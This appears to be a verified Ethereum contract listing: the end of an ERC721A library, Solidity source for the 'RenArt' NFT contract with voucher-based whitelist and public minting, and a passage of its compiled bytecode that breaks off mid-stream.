ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; // required to accept structs as function parameters import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "./ERC721A.sol"; ////////////////////////////////////////////////////// // // // We are Blackchain. // // [email protected] // // // ////////////////////////////////////////////////////// /** @title Renaissance Art NFT @author Jeffrey Lin, Justa Liang */ contract RenArt is ERC721A, Ownable, EIP712, PaymentSplitter { using Address for address; // Stage info (packed) struct StageInfo { bool publicStage; uint8 stageId; uint16 maxSupply; uint32 startTime; uint32 endTime; uint160 mintPrice; } StageInfo public stageInfo; // Maximum limit of tokens that can ever exist uint16 constant MAX_SUPPLY = 9500; // Maximum reserve uint16 constant MAX_RESERVE = 500; // Reserved uint256 private _reservedCount; // Maximum limit of mint amount per time in public stage uint8 constant MAX_MINT_PER_TIME = 2; // The base link that leads to the image / video of the token string private _baseTokenURI; struct MinterInfo { uint8 nonce; uint8 stageId; uint240 remain; } // Stage ID check mapping(address => MinterInfo) public whitelistInfo; // voucher for user to redeem struct NFTVoucher { address redeemer; // specify user to redeem this voucher uint8 stageId; // ID to check if voucher has been redeemed uint8 amount; // max amount to mint in stage uint8 nonce; // nonce to make different voucher uint72 price; // mint price } /// @dev Setup ERC721A, EIP712 and first stage info constructor( StageInfo memory _initStageInfo, string memory _initBaseURI, address[] memory payees, uint256[] memory shares ) ERC721A("RenArt", "RENA", 5) EIP712("RenArt-Voucher", "1") PaymentSplitter(payees, shares) { _baseTokenURI = _initBaseURI; stageInfo = _initStageInfo; _reservedCount = 0; } /// @notice Whitelist mint using the voucher function whitelistMint( NFTVoucher calldata voucher, bytes calldata signature, uint8 amount ) external payable { MinterInfo storage minterInfo = whitelistInfo[_msgSender()]; // make sure voucher is valid _verify(voucher, signature); // if haven't redeemed then redeem first if (voucher.nonce > minterInfo.nonce) { // update minter info minterInfo.stageId = voucher.stageId; minterInfo.remain = voucher.amount; minterInfo.nonce = voucher.nonce; } // check stage require(voucher.stageId == stageInfo.stageId, "Wrong stage"); // check time require(block.timestamp >= stageInfo.startTime, "Sale not started"); require(block.timestamp <= stageInfo.endTime, "Sale already ended"); // check if enough remain require(amount <= minterInfo.remain, "Not enough remain"); // check if exceed require( totalSupply() + amount <= stageInfo.maxSupply, "Exceed stage max supply" ); // check fund require(msg.value >= voucher.price * amount, "Not enough fund"); super._safeMint(_msgSender(), amount); minterInfo.remain -= amount; } /// @notice Public mint function publicMint(uint8 amount) external payable { // check public mint stage require(stageInfo.publicStage, "Public mint not started"); // check time require(block.timestamp >= stageInfo.startTime, "Sale not started"); require(block.timestamp <= stageInfo.endTime, "Sale already ended"); // check if exceed max per time require(amount <= MAX_MINT_PER_TIME, "Exceed max mint amount"); // check if exceed total supply require(totalSupply() + amount <= MAX_SUPPLY, "Exceed total supply"); // check fund require(msg.value >= stageInfo.mintPrice * amount, "Not enough fund"); // batch mint super._safeMint(_msgSender(), amount); } /// @dev Verify voucher function _verify(NFTVoucher calldata voucher, bytes calldata signature) private view { bytes32 digest = _hashTypedDataV4( keccak256( abi.encode( keccak256( "NFTVoucher(address redeemer,uint8 stageId,uint8 amount,uint8 nonce,uint72 price)" ), _msgSender(), voucher.stageId, voucher.amount, voucher.nonce, voucher.price ) ) ); require( owner() == ECDSA.recover(digest, signature), "invalid or unauthorized" ); } /// @dev Reserve NFT function reserve(address to, uint256 amount) external onlyOwner { require(_reservedCount + amount <= MAX_RESERVE, "Exceed reserve max"); super._safeMint(to, amount); _reservedCount += amount; } /// @dev Go to next stage function nextStage(StageInfo memory _stageInfo) external onlyOwner { require( _stageInfo.stageId >= stageInfo.stageId, "Cannot set to previous stage" ); require(_stageInfo.maxSupply <= MAX_SUPPLY, "Set exceed max supply"); require(_stageInfo.stageId <= 3, "Can only have three stage"); stageInfo = _stageInfo; } /// @dev Set new baseURI function setBaseURI(string memory baseURI) external onlyOwner { _baseTokenURI = baseURI; } /// @dev override _baseURI() function _baseURI() internal view override returns (string memory) { return _baseTokenURI; } }
0x6080604052600436106101d35760003560e01c8063858e83b5116100f8578063c87b56dd11610090578063c87b56dd14610585578063cc47a40b146105a5578063ce7c2ac2146105c5578063d7224ba0146105e5578063d79779b2146105fa578063e33b7de31461061a578063e8bdd77f1461062f578063e985e9c514610642578063f2fde38b146106625761021a565b8063858e83b51461047957806386a12b7e1461048c5780638b83209b146104ac5780638da5cb5b146104cc57806395d89b41146104e15780639852595c146104f6578063a22cb46514610516578063b88d4fde14610536578063c06c7d49146105565761021a565b80633a98ef391161016b5780633a98ef391461036f578063406072a91461038457806342842e0e146103a457806348b75044146103c45780634f6ccce7146103e457806355f804b3146104045780636352211e1461042457806370a0823114610444578063715018a6146104645761021a565b806301ffc9a71461021f57806306fdde0314610255578063081812fc14610277578063095ea7b3146102a457806318160ddd146102c657806319165587146102e857806323b872dd146103085780632bf87116146103285780632f745c591461034f5761021a565b3661021a577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be770610201610682565b34604051610210929190612e53565b60405180910390a1005b600080fd5b34801561022b57600080fd5b5061023f61023a366004612b71565b610687565b60405161024c9190612ea9565b60405180910390f35b34801561026157600080fd5b5061026a6106ea565b60405161024c9190612f81565b34801561028357600080fd5b50610297610292366004612d3c565b61077c565b60405161024c9190612e3f565b3480156102b057600080fd5b506102c46102bf366004612b2a565b6107c8565b005b3480156102d257600080fd5b506102db610861565b60405161024c9190613a75565b3480156102f457600080fd5b506102c46103033660046129ed565b610867565b34801561031457600080fd5b506102c4610323366004612a41565b610975565b34801561033457600080fd5b5061033d610980565b60405161024c96959493929190612eb4565b34801561035b57600080fd5b506102db61036a366004612b2a565b6109cb565b34801561037b57600080fd5b506102db610ac6565b34801561039057600080fd5b506102db61039f366004612ba9565b610acc565b3480156103b057600080fd5b506102c46103bf366004612a41565b610af7565b3480156103d057600080fd5b506102c46103df366004612ba9565b610b12565b3480156103f057600080fd5b506102db6103ff366004612d3c565b610cc8565b34801561041057600080fd5b506102c461041f366004612bbb565b610cf4565b34801561043057600080fd5b5061029761043f366004612d3c565b610d4a565b34801561045057600080fd5b506102db61045f3660046129ed565b610d5c565b34801561047057600080fd5b506102c4610da9565b6102c4610487366004612d93565b610df4565b34801561049857600080fd5b506102c46104a7366004612c95565b610f2f565b3480156104b857600080fd5b506102976104c7366004612d3c565b6110a5565b3480156104d857600080fd5b506102976110e3565b3480156104ed57600080fd5b5061026a6110f2565b34801561050257600080fd5b506102db6105113660046129ed565b611101565b34801561052257600080fd5b506102c4610531366004612afd565b61111c565b34801561054257600080fd5b506102c4610551366004612a81565b6111ea565b34801561056257600080fd5b506105766105713660046129ed565b611223565b60405161024c93929190613a7e565b34801561059157600080fd5b5061026a6105a0366004612d3c565b611253565b3480156105b157600080fd5b506102c46105c0366004612b2a565b6112d6565b3480156105d157600080fd5b506102db6105e03660046129ed565b61136a565b3480156105f157600080fd5b506102db611385565b34801561060657600080fd5b506102db6106153660046129ed565b61138b565b34801561062657600080fd5b506102db6113a6565b6102c461063d366004612c00565b6113ac565b34801561064e57600080fd5b5061023f61065d366004612a09565b611627565b34801561066e57600080fd5b506102c461067d3660046129ed565b611655565b335b90565b60006001600160e01b031982166380ac58cd60e01b14806106b857506001600160e01b03198216635b5e139f60e01b145b806106d357506001600160e01b0319821663780e9d6360e01b145b806106e257506106e2826116c3565b90505b919050565b6060600180546106f990613c08565b80601f016020809104026020016040519081016040528092919081815260200182805461072590613c08565b80156107725780601f1061074757610100808354040283529160200191610772565b820191906000526020600020905b81548152906001019060200180831161075557829003601f168201915b5050505050905090565b6000610787826116dc565b6107ac5760405162461bcd60e51b81526004016107a3906139ba565b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b60006107d382610d4a565b9050806001600160a01b0316836001600160a01b031614156108075760405162461bcd60e51b81526004016107a39061375e565b806001600160a01b0316610819610682565b6001600160a01b0316148061083557506108358161065d610682565b6108515760405162461bcd60e51b81526004016107a39061347b565b61085c8383836116e3565b505050565b60005490565b6001600160a01b0381166000908152600b602052604090205461089c5760405162461bcd60e51b81526004016107a3906131dc565b60006108a66113a6565b6108b09047613ac6565b905060006108c783836108c286611101565b61173f565b9050806108e65760405162461bcd60e51b81526004016107a390613406565b6001600160a01b0383166000908152600c60205260408120805483929061090e908490613ac6565b9250508190555080600a60008282546109279190613ac6565b9091555061093790508382611785565b7fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b0568382604051610968929190612e53565b60405180910390a1505050565b61085c838383611821565b60105460ff8082169161010081049091169061ffff620100008204169063ffffffff600160201b8204811691600160401b8104909116906001600160a01b03600160601b9091041686565b60006109d683610d5c565b82106109f45760405162461bcd60e51b81526004016107a390612fc6565b60006109fe610861565b905060008060005b83811015610aa7576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b9091046001600160401b03169183019190915215610a5857805192505b876001600160a01b0316836001600160a01b03161415610a945786841415610a8657509350610ac092505050565b83610a9081613c43565b9450505b5080610a9f81613c43565b915050610a06565b5060405162461bcd60e51b81526004016107a39061391d565b92915050565b60095490565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b61085c838383604051806020016040528060008152506111ea565b6001600160a01b0381166000908152600b6020526040902054610b475760405162461bcd60e51b81526004016107a3906131dc565b6000610b528361138b565b6040516370a0823160e01b81526001600160a01b038516906370a0823190610b7e903090600401612e3f565b60206040518083038186803b158015610b9657600080fd5b505afa158015610baa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bce9190612d54565b610bd89190613ac6565b90506000610beb83836108c28787610acc565b905080610c0a5760405162461bcd60e51b81526004016107a390613406565b6001600160a01b038085166000908152600f6020908152604080832093871683529290529081208054839290610c41908490613ac6565b90915550506001600160a01b0384166000908152600e602052604081208054839290610c6e908490613ac6565b90915550610c7f9050848483611b31565b836001600160a01b03167f3be5b7a71e84ed12875d241991c70855ac5817d847039e17a9d895c1ceb0f18a8483604051610cba929190612e53565b60405180910390a250505050565b6000610cd2610861565b8210610cf05760405162461bcd60e51b81526004016107a390613199565b5090565b610cfc610682565b6001600160a01b0316610d0d6110e3565b6001600160a01b031614610d335760405162461bcd60e51b81526004016107a3906135a7565b8051610d469060129060208401906128a2565b5050565b6000610d5582611b87565b5192915050565b60006001600160a01b038216610d845760405162461bcd60e51b81526004016107a3906134d4565b506001600160a01b03166000908152600460205260409020546001600160801b031690565b610db1610682565b6001600160a01b0316610dc26110e3565b6001600160a01b031614610de85760405162461bcd60e51b81526004016107a3906135a7565b610df26000611c99565b565b60105460ff16610e165760405162461bcd60e51b81526004016107a3906132bc565b601054600160201b900463ffffffff16421015610e455760405162461bcd60e51b81526004016107a390613451565b601054600160401b900463ffffffff16421115610e745760405162461bcd60e51b81526004016107a390613290565b600260ff82161115610e985760405162461bcd60e51b81526004016107a390613703565b61251c60ff8216610ea7610861565b610eb19190613ac6565b1115610ecf5760405162461bcd60e51b81526004016107a3906135dc565b601054610ef09060ff831690600160601b90046001600160a01b0316613af2565b6001600160a01b0316341015610f185760405162461bcd60e51b81526004016107a390613267565b610f2c610f23610682565b8260ff16611ceb565b50565b610f37610682565b6001600160a01b0316610f486110e3565b6001600160a01b031614610f6e5760405162461bcd60e51b81526004016107a3906135a7565b601054602082015160ff610100909204821691161015610fa05760405162461bcd60e51b81526004016107a390613162565b61251c61ffff16816040015161ffff161115610fce5760405162461bcd60e51b81526004016107a390613008565b6003816020015160ff161115610ff65760405162461bcd60e51b81526004016107a39061312f565b805160108054602084015160408501516060860151608087015160a09097015160ff199094169515159590951761ff00191661010060ff909316929092029190911763ffff000019166201000061ffff909216919091021767ffffffff000000001916600160201b63ffffffff948516021763ffffffff60401b1916600160401b9390941692909202929092176001600160601b0316600160601b6001600160a01b0390921691909102179055565b6000600d82815481106110c857634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031692915050565b6008546001600160a01b031690565b6060600280546106f990613c08565b6001600160a01b03166000908152600c602052604090205490565b611124610682565b6001600160a01b0316826001600160a01b031614156111555760405162461bcd60e51b81526004016107a39061367d565b8060066000611162610682565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff1916921515929092179091556111a6610682565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516111de9190612ea9565b60405180910390a35050565b6111f5848484611821565b61120184848484611d05565b61121d5760405162461bcd60e51b81526004016107a3906137a0565b50505050565b60136020526000908152604090205460ff808216916101008104909116906201000090046001600160f01b031683565b606061125e826116dc565b61127a5760405162461bcd60e51b81526004016107a39061362e565b6000611284611e20565b905060008151116112a457604051806020016040528060008152506112cf565b806112ae84611e2f565b6040516020016112bf929190612df5565b6040516020818303038152906040525b9392505050565b6112de610682565b6001600160a01b03166112ef6110e3565b6001600160a01b0316146113155760405162461bcd60e51b81526004016107a3906135a7565b6011546101f490611327908390613ac6565b11156113455760405162461bcd60e51b81526004016107a390613a07565b61134f8282611ceb565b80601160008282546113619190613ac6565b90915550505050565b6001600160a01b03166000908152600b602052604090205490565b60075481565b6001600160a01b03166000908152600e602052604090205490565b600a5490565b6000601360006113ba610682565b6001600160a01b03166001600160a01b0316815260200190815260200160002090506113e7858585611f49565b805460ff166113fc6080870160608801612d93565b60ff16111561146f576114156040860160208701612d93565b815460ff919091166101000261ff001990911617815561143b6060860160408701612d93565b815461ffff1660ff91909116620100000217815561145f6080860160608701612d93565b815460ff191660ff919091161781555b601054610100900460ff1661148a6040870160208801612d93565b60ff16146114aa5760405162461bcd60e51b81526004016107a390613609565b601054600160201b900463ffffffff164210156114d95760405162461bcd60e51b81526004016107a390613451565b601054600160401b900463ffffffff164211156115085760405162461bcd60e51b81526004016107a390613290565b80546201000090046001600160f01b031660ff8316111561153b5760405162461bcd60e51b81526004016107a390613733565b60105462010000900461ffff1660ff8316611554610861565b61155e9190613ac6565b111561157c5760405162461bcd60e51b81526004016107a3906130b4565b60ff821661159060a0870160808801612d6c565b61159a9190613b40565b6001600160481b03163410156115c25760405162461bcd60e51b81526004016107a390613267565b6115d66115cd610682565b8360ff16611ceb565b805460ff83169082906002906115fc9084906201000090046001600160f01b0316613b8e565b92506101000a8154816001600160f01b0302191690836001600160f01b031602179055505050505050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b61165d610682565b6001600160a01b031661166e6110e3565b6001600160a01b0316146116945760405162461bcd60e51b81526004016107a3906135a7565b6001600160a01b0381166116ba5760405162461bcd60e51b81526004016107a39061306e565b610f2c81611c99565b6001600160e01b031981166301ffc9a760e01b14919050565b6000541190565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6009546001600160a01b0384166000908152600b6020526040812054909183916117699086613b21565b6117739190613ade565b61177d9190613bae565b949350505050565b804710156117a55760405162461bcd60e51b81526004016107a390613389565b6000826001600160a01b0316826040516117be90610684565b60006040518083038185875af1925050503d80600081146117fb576040519150601f19603f3d011682016040523d82523d6000602084013e611800565b606091505b505090508061085c5760405162461bcd60e51b81526004016107a3906132ed565b600061182c82611b87565b9050600081600001516001600160a01b0316611846610682565b6001600160a01b0316148061187b575061185e610682565b6001600160a01b03166118708461077c565b6001600160a01b0316145b8061188f5750815161188f9061065d610682565b9050806118ae5760405162461bcd60e51b81526004016107a3906136b1565b846001600160a01b031682600001516001600160a01b0316146118e35760405162461bcd60e51b81526004016107a390613561565b6001600160a01b0384166119095760405162461bcd60e51b81526004016107a390613222565b611916858585600161121d565b61192660008484600001516116e3565b6001600160a01b03851660009081526004602052604081208054600192906119589084906001600160801b0316613b66565b82546101009290920a6001600160801b038181021990931691831602179091556001600160a01b038616600090815260046020526040812080546001945090926119a491859116613aa4565b82546001600160801b039182166101009390930a9283029190920219909116179055506040805180820182526001600160a01b0380871682526001600160401b03428116602080850191825260008981526003909152948520935184549151909216600160a01b02600160a01b600160e01b0319929093166001600160a01b03199091161716179055611a38846001613ac6565b6000818152600360205260409020549091506001600160a01b0316611adb57611a60816116dc565b15611adb5760408051808201825284516001600160a01b0390811682526020808701516001600160401b0390811682850190815260008781526003909352949091209251835494516001600160a01b0319909516921691909117600160a01b600160e01b031916600160a01b93909116929092029190911790555b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4611b29868686600161121d565b505050505050565b61085c8363a9059cbb60e01b8484604051602401611b50929190612e53565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612060565b611b8f612922565b611b98826116dc565b611bb45760405162461bcd60e51b81526004016107a3906130e5565b60007f00000000000000000000000000000000000000000000000000000000000000058310611c1557611c077f000000000000000000000000000000000000000000000000000000000000000584613bae565b611c12906001613ac6565b90505b825b818110611c80576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b9091046001600160401b03169183019190915215611c6d5792506106e5915050565b5080611c7881613bf1565b915050611c17565b5060405162461bcd60e51b81526004016107a39061396b565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610d468282604051806020016040528060008152506120ef565b6000611d19846001600160a01b0316612357565b15611e1557836001600160a01b031663150b7a02611d35610682565b8786866040518563ffffffff1660e01b8152600401611d579493929190612e6c565b602060405180830381600087803b158015611d7157600080fd5b505af1925050508015611da1575060408051601f3d908101601f19168201909252611d9e91810190612b8d565b60015b611dfb573d808015611dcf576040519150601f19603f3d011682016040523d82523d6000602084013e611dd4565b606091505b508051611df35760405162461bcd60e51b81526004016107a3906137a0565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061177d565b506001949350505050565b6060601280546106f990613c08565b606081611e5457506040805180820190915260018152600360fc1b60208201526106e5565b8160005b8115611e7e5780611e6881613c43565b9150611e779050600a83613ade565b9150611e58565b6000816001600160401b03811115611ea657634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611ed0576020820181803683370190505b5090505b841561177d57611ee5600183613bae565b9150611ef2600a86613c5e565b611efd906030613ac6565b60f81b818381518110611f2057634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350611f42600a86613ade565b9450611ed4565b6000611fe77f964079ff810f3974716fc1b475847f7786345dd9917ffeaf5b7d6bbc38786003611f77610682565b611f876040880160208901612d93565b611f976060890160408a01612d93565b611fa760808a0160608b01612d93565b611fb760a08b0160808c01612d6c565b604051602001611fcc96959493929190612ef7565b6040516020818303038152906040528051906020012061235d565b90506120298184848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061237092505050565b6001600160a01b031661203a6110e3565b6001600160a01b03161461121d5760405162461bcd60e51b81526004016107a390613861565b60006120b5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166123949092919063ffffffff16565b80519091501561085c57808060200190518101906120d39190612b55565b61085c5760405162461bcd60e51b81526004016107a3906138d3565b6000546001600160a01b0384166121185760405162461bcd60e51b81526004016107a390613892565b612121816116dc565b1561213e5760405162461bcd60e51b81526004016107a3906137f3565b7f000000000000000000000000000000000000000000000000000000000000000583111561217e5760405162461bcd60e51b81526004016107a390613a33565b61218b600085838661121d565b6001600160a01b0384166000908152600460209081526040918290208251808401845290546001600160801b038082168352600160801b90910416918101919091528151808301909252805190919081906121e7908790613aa4565b6001600160801b031681526020018583602001516122059190613aa4565b6001600160801b039081169091526001600160a01b03808816600081815260046020908152604080832087518154988401518816600160801b029088166001600160801b03199099169890981790961696909617909455845180860186529182526001600160401b034281168386019081528883526003909552948120915182549451909516600160a01b02600160a01b600160e01b0319959093166001600160a01b031990941693909317939093161790915582905b858110156123455760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46123096000888488611d05565b6123255760405162461bcd60e51b81526004016107a3906137a0565b8161232f81613c43565b925050808061233d90613c43565b9150506122bc565b506000818155611b299087858861121d565b3b151590565b60006106e261236a6123a3565b8361249a565b600080600061237f85856124cd565b9150915061238c8161253d565b509392505050565b606061177d848460008561266a565b6000306001600160a01b037f000000000000000000000000970aad14d99ab8ff4dc699458a2183f44c1a6507161480156123fc57507f000000000000000000000000000000000000000000000000000000000000000146145b1561242857507fab3cb28fc5cb34d7028d1fa0d79597407aa5ca89c82b1f5cee0f348900e272fd610684565b6124937f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f1baaba520eebafada901f4be77d3847c5840dc7eacda299e1b62f66ab4b9434a7fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc661272a565b9050610684565b600082826040516020016124af929190612e24565b60405160208183030381529060405280519060200120905092915050565b6000808251604114156125045760208301516040840151606085015160001a6124f887828585612764565b94509450505050612536565b82516040141561252e576020830151604084015161252386838361283a565b935093505050612536565b506000905060025b9250929050565b600081600481111561255f57634e487b7160e01b600052602160045260246000fd5b141561256a57610f2c565b600181600481111561258c57634e487b7160e01b600052602160045260246000fd5b14156125aa5760405162461bcd60e51b81526004016107a390612f94565b60028160048111156125cc57634e487b7160e01b600052602160045260246000fd5b14156125ea5760405162461bcd60e51b81526004016107a390613037565b600381600481111561260c57634e487b7160e01b600052602160045260246000fd5b141561262a5760405162461bcd60e51b81526004016107a390613347565b600481600481111561264c57634e487b7160e01b600052602160045260246000fd5b1415610f2c5760405162461bcd60e51b81526004016107a39061351f565b60608247101561268c5760405162461bcd60e51b81526004016107a3906133c0565b61269585612357565b6126b15760405162461bcd60e51b81526004016107a39061382a565b600080866001600160a01b031685876040516126cd9190612dd9565b60006040518083038185875af1925050503d806000811461270a576040519150601f19603f3d011682016040523d82523d6000602084013e61270f565b606091505b509150915061271f828286612869565b979650505050505050565b60008383834630604051602001612745959493929190612f37565b6040516020818303038152906040528051906020012090509392505050565b6000806fa2a8918ca85bafe22016d0b997e4df60600160ff1b038311156127915750600090506003612831565b8460ff16601b141580156127a957508460ff16601c14155b156127ba5750600090506004612831565b6000600187878787604051600081526020016040526040516127df9493929190612f63565b6020604051602081039080840390855afa158015612801573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661282a57600060019250925050612831565b9150600090505b94509492505050565b6000806001600160ff1b03831660ff84901c601b0161285b87828885612764565b935093505050935093915050565b606083156128785750816112cf565b8251156128885782518084602001fd5b8160405162461bcd60e51b81526004016107a39190612f81565b8280546128ae90613c08565b90600052602060002090601f0160209004810192826128d05760008555612916565b82601f106128e957805160ff1916838001178555612916565b82800160010185558215612916579182015b828111156129165782518255916020019190600101906128fb565b50610cf0929150612939565b604080518082019091526000808252602082015290565b5b80821115610cf0576000815560010161293a565b60006001600160401b038084111561296857612968613c9e565b604051601f8501601f19168101602001828111828210171561298c5761298c613c9e565b6040528481529150818385018610156129a457600080fd5b8484602083013760006020868301015250509392505050565b80356106e581613cb4565b803563ffffffff811681146106e557600080fd5b803560ff811681146106e557600080fd5b6000602082840312156129fe578081fd5b81356112cf81613cb4565b60008060408385031215612a1b578081fd5b8235612a2681613cb4565b91506020830135612a3681613cb4565b809150509250929050565b600080600060608486031215612a55578081fd5b8335612a6081613cb4565b92506020840135612a7081613cb4565b929592945050506040919091013590565b60008060008060808587031215612a96578081fd5b8435612aa181613cb4565b93506020850135612ab181613cb4565b92506040850135915060608501356001600160401b03811115612ad2578182fd5b8501601f81018713612ae2578182fd5b612af18782356020840161294e565b91505092959194509250565b60008060408385031215612b0f578182fd5b8235612b1a81613cb4565b91506020830135612a3681613cc9565b60008060408385031215612b3c578182fd5b8235612b4781613cb4565b946020939093013593505050565b600060208284031215612b66578081fd5b81516112cf81613cc9565b600060208284031215612b82578081fd5b81356112cf81613cd7565b600060208284031215612b9e578081fd5b81516112cf81613cd7565b60008060408385031215612a1b578182fd5b600060208284031215612bcc578081fd5b81356001600160401b03811115612be1578182fd5b8201601f81018413612bf1578182fd5b61177d8482356020840161294e565b60008060008084860360e0811215612c16578283fd5b60a0811215612c23578283fd5b5084935060a08501356001600160401b0380821115612c40578384fd5b818701915087601f830112612c53578384fd5b813581811115612c61578485fd5b886020828501011115612c72578485fd5b602083019550809450505050612c8a60c086016129dc565b905092959194509250565b600060c08284031215612ca6578081fd5b60405160c081018181106001600160401b0382111715612cc857612cc8613c9e565b6040528235612cd681613cc9565b8152612ce4602084016129dc565b6020820152604083013561ffff81168114612cfd578283fd5b6040820152612d0e606084016129c8565b6060820152612d1f608084016129c8565b6080820152612d3060a084016129bd565b60a08201529392505050565b600060208284031215612d4d578081fd5b5035919050565b600060208284031215612d65578081fd5b5051919050565b600060208284031215612d7d578081fd5b81356001600160481b03811681146112cf578182fd5b600060208284031215612da4578081fd5b6112cf826129dc565b60008151808452612dc5816020860160208601613bc5565b601f01601f19169290920160200192915050565b60008251612deb818460208701613bc5565b9190910192915050565b60008351612e07818460208801613bc5565b835190830190612e1b818360208801613bc5565b01949350505050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612e9f90830184612dad565b9695505050505050565b901515815260200190565b951515865260ff94909416602086015261ffff92909216604085015263ffffffff90811660608501521660808301526001600160a01b031660a082015260c00190565b9586526001600160a01b0394909416602086015260ff928316604086015290821660608501521660808301526001600160481b031660a082015260c00190565b9485526020850193909352604084019190915260608301526001600160a01b0316608082015260a00190565b93845260ff9290921660208401526040830152606082015260800190565b6000602082526112cf6020830184612dad565b60208082526018908201527745434453413a20696e76616c6964207369676e617475726560401b604082015260600190565b60208082526022908201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604082015261647360f01b606082015260800190565b60208082526015908201527453657420657863656564206d617820737570706c7960581b604082015260600190565b6020808252601f908201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b602080825260179082015276457863656564207374616765206d617820737570706c7960481b6040820152